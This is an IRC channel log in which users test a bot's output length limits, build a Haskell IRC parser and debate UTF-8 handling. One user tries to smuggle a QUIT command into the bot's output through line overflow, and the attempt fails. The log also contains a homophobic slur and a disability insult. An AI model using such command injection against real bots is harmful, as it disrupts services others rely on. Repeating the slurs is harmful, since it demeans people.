00:36:01 <elliott> oerjan: so wait, what was the minimal set again?
00:36:12 <elliott> +ul (abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc)S
00:36:12 <thutubot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc
00:36:12 <oerjan> elliott: ~:()^
00:36:17 <elliott> +ul (abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc)S
00:36:17 <thutubot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc
00:36:20 <elliott> +ul (abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc)S
00:36:21 <thutubot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc
00:36:23 <elliott> +ul (abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc)S
00:36:23 <thutubot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc
00:36:28 <elliott> +ul (abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz)S
00:36:28 <thutubot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz
00:36:30 <elliott> +ul (abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz)S
00:36:30 <thutubot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz
00:36:33 <elliott> +ul (abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz)S
00:36:33 <thutubot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz
00:36:36 <elliott> +ul (abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz)S
00:36:36 <thutubot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz
00:36:40 <elliott> +ul (abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz)S
00:36:40 <thutubot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz
00:36:43 <elliott> +ul (abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz)S
00:36:43 <thutubot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz ...too much output!
00:36:46 <elliott> +ul (abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz)S
00:36:46 <thutubot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz ...too much output!
00:36:48 <elliott> +ul (abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz)S
00:36:48 <thutubot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz ...too much output!
00:36:51 <elliott> +ul (abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz)S
00:36:51 <thutubot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz ...too much output!
00:36:55 <elliott> mwahahaha
00:36:57 <elliott> +ul (abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz)S
00:36:57 <thutubot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz ...too much output!
00:37:01 <elliott> +ul (abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz)S
00:37:01 <thutubot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz ...too much output!
00:37:06 <elliott> oh come on
00:37:08 <elliott> +ul (abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz)S
00:37:08 <thutubot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz ...too much output!
00:37:14 <elliott> X_X
00:37:16 <elliott> how long are irc messages these days!
00:37:19 <elliott> +ul (abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz)S
00:37:19 <thutubot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcx
00:37:24 <elliott> excellent
00:37:26 <elliott> +ul (abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz)S
00:37:26 <thutubot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyz
00:37:31 <elliott> +ul (abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyzQUIT)S
00:37:31 <thutubot> abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcxyzQ
00:37:38 <elliott> darn :D
00:38:52 <ais523> it won't overflow from one line to the next, I don't htink
00:39:55 <oerjan> fizzie: we have no fungot
00:40:33 <ais523> elliott: wow you've been spamming up my backlog
00:40:40 <elliott> ais523: sorry!
00:41:01 <ais523> anyway, I'm pretty surprised it got that Underload turing machine so fast
00:41:06 <oerjan> elliott: you could at _least_ have used a binary search
00:41:09 <ais523> given how fundamentally inefficient Thutu is
00:41:22 <elliott> oerjan: PSHT
00:41:39 <oerjan> ais523: the turing machine with ! is pretty efficient i should think
00:41:47 <ais523> Thutu's O(n) behind anything else
00:41:55 <ais523> as it has to regex the whole of memory every time it runs a command
00:42:42 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
00:43:44 <oerjan> <ais523> it won't overflow from one line to the next, I don't htink <-- i think that may be freenode servers cutting it off, i've noticed they started doing that, i think after the ircd switch
00:44:21 <ais523> they always cut it off, even beforehand
00:44:30 <ais523> wrapping's done by the client, I thought
00:44:34 <elliott> indeed
00:44:38 <oerjan> i had the impression it changed to be more annoying
00:44:59 <oerjan> maybe by irssi no longer understanding how long lines it could send
00:46:09 <oerjan> that cutoff message is 421 chars not including the nick
00:46:52 <elliott> poor irssi
00:47:05 <elliott> ais523: now you've got me thinking about disguises...
00:47:31 <elliott> for instance, a functional language where the only operation is destructive assignment
00:47:36 <oerjan> hm the server's initial messages includes TOPICLEN=390 but nothing for general messages
00:48:15 <ais523> it's always 510 minus header
00:48:51 <oerjan> oh
00:49:02 <ais523> but guessing the length of the header can be tricky
00:49:56 <elliott> hmm
00:50:03 <elliott> you know, the markov bots in this channel aren't nearly fun enough!
00:50:13 <elliott> by fun i mean advanced
00:50:14 <elliott> obviously
00:50:27 <oerjan> yeah talking behind fungot's back when it isn't here, how civilized
00:51:07 <elliott> :D
00:51:11 <elliott> hm
00:51:15 <elliott> *hmm
00:51:18 <elliott> I know megahal uses two markov chains
00:51:22 <elliott> one going forwards from the topic, one backwards
00:51:25 <elliott> to make a complete sentence
00:51:29 <elliott> but how does it know what to start with
00:51:30 <elliott> ?
00:51:34 <elliott> obviously it doesn't take the complete input line
00:52:36 <elliott> PSHT
00:52:36 * Phantom_Hoover → sleep
00:52:38 <elliott> WHY AREN'T YOU ALL EXPERTS
00:52:38 -!- Phantom_Hoover has quit (Remote host closed the connection).
00:53:03 <elliott> hm darn
00:53:09 <elliott> i was about to say that we DEFINITELY need a bot written in haskell here
00:53:13 <elliott> but lah de dah
00:53:14 <elliott> mr. lambdabot
00:53:16 <elliott> is fagging up the place
00:53:17 <elliott> oerjan: ban it
00:53:30 <ais523> I like lambdabot
00:53:34 <ais523> we can have two haskellbots if needed
00:53:36 <elliott> i know i just want a niche
00:53:47 <elliott> ok fine i'll write a bot.
00:53:57 <elliott> first things first, IRC parser.
00:54:20 -!- poiuy_qwert has joined.
00:54:32 <Sgeo_> Stan Jones should totally be campaigning against quackery
00:54:55 <Sgeo_> Nope
00:54:58 <oerjan> elliott: YOU FORGOT TO SIGN
00:55:01 <Sgeo_> "Jones continues to promote the use of colloidal silver as a home remedy.
00:55:01 <Sgeo_> "
00:55:02 <elliott> oerjan: wat
00:55:10 <oerjan> YOUR MESSAGE
00:55:14 <oerjan> ON THE WIKI
00:55:23 <oerjan> ais523: BAN HIM
00:55:30 * Sgeo_ hits elliott with |x|/x
00:55:57 <elliott> @hoogle Parser
00:55:57 <lambdabot> module Language.Haskell.Parser
00:55:57 <lambdabot> Text.Parsec.ByteString type Parser = Parsec ByteString ()
00:55:57 <lambdabot> Text.Parsec.String type Parser = Parsec String ()
00:55:57 <thutubot> module Language.Haskell.Parser
00:55:57 <thutubot> Text.Parsec.ByteString type Parser = Parsec ByteString ()
00:55:57 <thutubot> Text.Parsec.String type Parser = Parsec String ()
00:56:02 <elliott> @hoogle Parser Char a
00:56:02 <lambdabot> Did you mean: :: Parser Char /count=20
00:56:02 <lambdabot> Text.ParserCombinators.Parsec.Char type CharParser st = GenParser Char st
00:56:02 <thutubot> Did you mean: :: Parser Char /count=20
00:56:02 <thutubot> Text.ParserCombinators.Parsec.Char type CharParser st = GenParser Char st
00:56:02 <oerjan> Sgeo_: x/|x|, he might be complex
00:56:05 <elliott> @hoogle Parser String
00:56:05 <lambdabot> Did you mean: :: Parser String /count=20
00:56:05 <lambdabot> No results found
00:56:06 <thutubot> Did you mean: :: Parser String /count=20
00:56:06 <thutubot> No results found
00:56:09 <elliott> SHUT UP THUTUBOT
00:56:28 <Sgeo_> Ok, so Stan Jones is an idiot
00:56:41 <elliott> prefix = User <$> many1 (noneOf "!") <*> (char '!' *> many1 (noneOf "@")) <*> (char '@' *> many1 (noneOf " "))
00:56:46 <elliott> oerjan: please make that less horrifying. thanks.
00:57:00 <oerjan> argh
00:57:02 <elliott> @hoogle (m a, m b, m c) -> m (a,b,c)
00:57:03 <lambdabot> No results found
00:57:03 <thutubot> No results found
00:57:05 <elliott> worth a try :-P
00:57:16 <elliott> @hoogle Char -> Parser String
00:57:17 <lambdabot> No results found
00:57:17 <thutubot> No results found
00:57:20 <elliott> @hoogle Char -> Parser Char
00:57:21 <lambdabot> No results found
00:57:21 <thutubot> No results found
00:57:28 <elliott> ok fuck this i'l lcheck the docs
00:57:30 <elliott> *i'll check
00:57:40 <oerjan> elliott: liftM3 (,,)
00:57:55 <elliott> oerjan: doesn't help, there's no uncurry3 :D
00:57:59 <elliott> :t liftM3
00:57:59 <oerjan> ah
00:58:00 <lambdabot> forall a1 a2 a3 r (m :: * -> *). (Monad m) => (a1 -> a2 -> a3 -> r) -> m a1 -> m a2 -> m a3 -> m r
00:58:00 <thutubot> forall a1 a2 a3 r (m :: * -> *). (Monad m) => (a1 -> a2 -> a3 -> r) -> m a1 -> m a2 -> m a3 -> m r
00:58:03 <elliott> aha
00:58:04 <elliott> liftM3 User
00:58:19 <Sgeo_> oerjan, what does x/|x| do to duals?
00:58:33 <oerjan> Sgeo_: what is a dual?
00:58:36 <elliott> liftM3 User
00:58:37 <elliott> (many1 (noneOf "!"))
00:58:37 <elliott> (char '!' *> many1 (noneOf "@"))
00:58:37 <elliott> (char '@' *> many1 (noneOf " "))
00:58:37 <elliott> good enough
00:58:39 -!- augur has joined.
00:58:58 <Sgeo_> oerjan, forget the symbol, but (dual)^2 = 0
00:59:05 <Sgeo_> http://en.wikipedia.org/wiki/Dual_numbers
00:59:23 <oerjan> elliott: heh i thought everyone wanted to use <*> _instead_ of the liftM* functions
00:59:37 <elliott> oerjan: that would be more ugly in this case, no? :)
00:59:52 <oerjan> indeed it so seems
01:00:54 <elliott> char ':' *>
01:00:54 <elliott> try (liftA3 User
01:00:54 <elliott> (many1 (noneOf "!"))
01:00:54 <elliott> (char '!' *> many1 (noneOf "@"))
01:00:54 <elliott> (char '@' *> many1 (noneOf " ")))
01:00:55 <elliott> <|> Server <$> many1 (noneOf " ")
01:00:57 <elliott> yay uglies!
01:01:06 <elliott> augh, that doesn't even work, but it did a second ago
01:01:56 <elliott> @hoogle [m a] -> m [a]
01:01:56 <lambdabot> Prelude sequence :: Monad m => [m a] -> m [a]
01:01:56 <lambdabot> Control.Monad sequence :: Monad m => [m a] -> m [a]
01:01:56 <lambdabot> Language.Haskell.TH.Syntax sequenceQ :: [Q a] -> Q [a]
01:01:56 <thutubot> Prelude sequence :: Monad m => [m a] -> m [a]
01:01:56 <thutubot> Control.Monad sequence :: Monad m => [m a] -> m [a]
01:01:56 <thutubot> Language.Haskell.TH.Syntax sequenceQ :: [Q a] -> Q [a]
01:01:58 <elliott> no wiat
01:01:59 <elliott> *wait
01:02:00 <elliott> @hoogle [m a] -> m a
01:02:00 <lambdabot> Control.Monad msum :: MonadPlus m => [m a] -> m a
01:02:00 <lambdabot> Test.QuickCheck oneof :: [Gen a] -> Gen a
01:02:01 <lambdabot> Data.IntMap unions :: [IntMap a] -> IntMap a
01:02:01 <thutubot> Control.Monad msum :: MonadPlus m => [m a] -> m a
01:02:01 <thutubot> Test.QuickCheck oneof :: [Gen a] -> Gen a
01:02:01 <thutubot> Data.IntMap unions :: [IntMap a] -> IntMap a
01:02:06 <elliott> gah what is it again
01:02:48 <elliott> ah, asum
01:02:49 <elliott> :t asum
01:02:50 <lambdabot> Not in scope: `asum'
01:02:50 <thutubot> Not in scope: `asum'
01:02:58 <elliott> from Data.Foldable
01:03:22 <Gregor> Hmmm
01:03:28 <Gregor> Maple cream soda: Not as good as I'd hoped.
01:03:33 <elliott> Gregor: :<
01:04:23 <Gregor> It's not bad, but I'd rather just have normal cream soda :P
01:04:34 <oerjan> elliott: i think the traditional Parsec function is choice
01:04:36 <elliott> I put maple syrup on EVERYTHING
01:04:37 <elliott> oerjan: indeed
01:04:50 <elliott> oerjan: it occurs to me that I should be using attoparsec, because irc messages might not be valid utf-8
01:04:56 <elliott> oerjan: otoh, i'm probably justified in just dropping ones that aren't :)
01:05:12 <elliott> but then i think the io system cannot recover from invalid utf-8.
01:05:16 <elliott> so i'm going to have to use binary IO anyway.
01:05:48 <oerjan> well Parsec is capable of parsing more than Strings
01:06:15 <elliott> oerjan: yeah. but i don't think there's built-in bytestring support?
01:06:30 <oerjan> i don't know what they've added recently
01:07:11 <elliott> Attoparsec is FASHIONABLE, anyway!
01:07:26 <oerjan> elliott: also i vaguely recall the io system can be set to a different encoding
01:07:37 <elliott> you can set it to be all binary about things
01:07:44 <oerjan> that too
01:07:44 <elliott> but.
01:08:13 <elliott> oerjan: which just sets the encoding to latin-1 btw :P
01:08:25 <oerjan> perhaps
01:08:30 <elliott> that too. perhaps.
01:11:03 <pikhq_> Odd that it wouldn't be able to recover from invalid UTF-8...
01:11:11 <pikhq_> Given that it takes effort to make that happen.
01:11:14 <elliott> pikhq_: well it causes an exception.
01:11:20 <elliott> so i'm not sure getLine would do something sane after that
01:11:40 <pikhq_> They literally did go to extra work to make it not recover from invalid UTF-8?
01:11:43 <oerjan> hm that would be even worse for getContents, i assume...
01:11:43 -!- BeholdMyGlory has quit (Remote host closed the connection).
01:11:50 <elliott> pikhq_: not really, it's just that invalid utf-8 -> exception
01:11:59 <elliott> and after an exception i wouldn't expect it to e.g. discard the rest of the line as you'd want
01:12:03 <pikhq_> elliott: Yes, and you have to do extra work to cause that.
01:12:09 <elliott> pikhq_: as opposed to what?
01:12:13 <elliott> pikhq_: the whole point is that it interprets the unicode
01:12:21 <elliott> and puts it into (utf-32) Chars
01:13:21 <pikhq_> elliott: Half the point of UTF-8's design is to make it literally automatic to recover from invalid UTF-8.
01:13:29 <elliott> i don't think you quite understand.
01:13:35 <elliott> hGetLine cannot possibly succeed on a line with invalid utf-8.
01:13:41 <elliott> because it returns a String
01:13:42 <elliott> which is [Char]
01:13:47 <elliott> and each Char is a unicode codepoint
01:13:51 <elliott> so when it encounters invalid UTF-8
01:13:54 <elliott> it /cannot/ return a String
01:13:57 <elliott> because the result would not be valid
01:13:59 <elliott> thus, it has to trigger an error
01:14:00 <pikhq_> If you want to make it "correct", replace it with the replacement character.
01:14:02 * Sgeo_ hits elliott in the head with a UTF-8 BOM
01:14:03 <Gregor> Actually I think there's too much maple.
01:14:15 <elliott> pikhq_: that would not be an accurate hGetLine function.
01:14:18 <Gregor> It's overpowering.
01:14:24 <elliott> Gregor: NEVER
01:14:38 <Sgeo_> Not like he can hear me
01:14:59 <pikhq_> Oh, sorry, I should shaddup.
01:15:08 <Sgeo_> pikhq_, wha?
01:15:13 <pikhq_> "The Unicode Standard requires decoders to '...treat any ill-formed code unit sequence as an error condition. This guarantees that it will neither interpret nor emit an ill-formed code unit sequence.'"
01:15:13 -!- elliott has quit (Read error: Connection reset by peer).
01:15:18 <Sgeo_> Oh
01:15:39 -!- elliott has joined.
01:15:45 <elliott> <pikhq_> Oh, sorry, I should shaddup.
01:15:47 <elliott> <elliott> pikhq_: ?
01:15:49 <elliott> * Disconnected (Connection reset by peer).
01:15:53 <pikhq_> See log.
01:16:07 <elliott> 17:15:13 <pikhq_> "The Unicode Standard requires decoders to '...treat any ill-formed code unit sequence as an error condition. This guarantees that it will neither interpret nor emit an ill-formed code unit sequence.'"
01:16:08 <elliott> lawl
01:16:30 <elliott> 17:14:02 * Sgeo_ hits elliott in the head with a UTF-8 BOM
01:16:34 <elliott> UTF-8 BOM.
01:16:40 <elliott> congratulations, you're eligible for the special olympics
01:16:43 <pikhq_> Sgeo_: UTF-8 BOM is entirely valid and semantically meaningless.
01:16:50 <pikhq_> elliott: UTF-8 BOM is entirely valid and semantically meaningless.
01:16:56 <Sgeo_> pikhq_, oh, thought it was invalid
01:16:57 <elliott> pikhq_: And Special Olympics-worthy.
01:17:04 <pikhq_> elliott: Yes. And Microsoft does it.
01:17:07 <Sgeo_> elliott, my failed joke was that there's no such valid thing
01:17:10 <elliott> precisely
01:17:15 <Sgeo_> And I wasa mistaken
01:17:23 <Sgeo_> *was
01:17:45 <pikhq_> Literally the only reason to *ever* use it is if you want some in-channel signalling about whether or not a string is UTF-8.
01:17:53 <pikhq_> And even then, it's pretty stupid.
01:18:19 -!- Mathnerd314 has joined.
01:19:31 <pikhq_> Not to mention that it ruins programs that aren't designed around Unicode, but aren't UTF-8 incompatible.
01:20:20 <pikhq_> Obvious example: it breaks shebang.
01:20:39 <elliott> Shebangggggggggggggggggg
01:25:11 <Sgeo_> UTF-8 incompatible?
01:25:24 <Sgeo_> Oh, >127 stuff
01:28:51 -!- iconmaster has quit (Quit: Bersirc 2.2: Looks, feels and sounds (?!) different! [ http://www.bersirc.org/ - Open Source IRC ]).
01:31:40 <elliott> Glaaah, this is the broken.
01:31:50 <elliott> Perhaps oerjan is to blame.
01:32:09 <oerjan> latin-1 encoding should work fine for irc anyways?
01:32:18 -!- pikhq_ has changed nick to pikhq.
01:32:26 <elliott> oerjan: erm we use utf-8 plenty :D
01:32:28 <elliott> and latin-1 never
01:32:34 <pikhq> oerjan: 不本当!
01:32:43 <oerjan> pikhq: i see only blanks
01:32:55 <pikhq> oerjan: Not my fault your client is broken.
01:32:58 <oerjan> elliott: i mean ghc's latin-1 encoding, which doesn't delete anything
01:33:06 <oerjan> pikhq: only putty
01:33:07 <elliott> oerjan: well right. but what if i want to, like, process things?!
01:33:15 <elliott> oerjan: putty is fine, i strongly suspect your client
01:33:44 <oerjan> elliott: no, i can copy and paste the characters fine
01:33:53 <elliott> oerjan: heh
01:33:57 <pikhq> elliott: It's irssi.
01:34:00 <elliott> oerjan: try editing your connection settings, there may be an encoding property
01:34:02 <elliott> pikhq: see what oerjan said
01:34:12 <pikhq> oerjan: Something is definitely borken.
01:34:18 <pikhq> What's your locale?
01:34:25 <oerjan> elliott: it is putty's not having suitable fonts
01:34:35 <elliott> oerjan: does it not do fallback?hm
01:34:37 <elliott> *fallback? hm
01:34:39 <elliott> pikhq: dude he's on windows
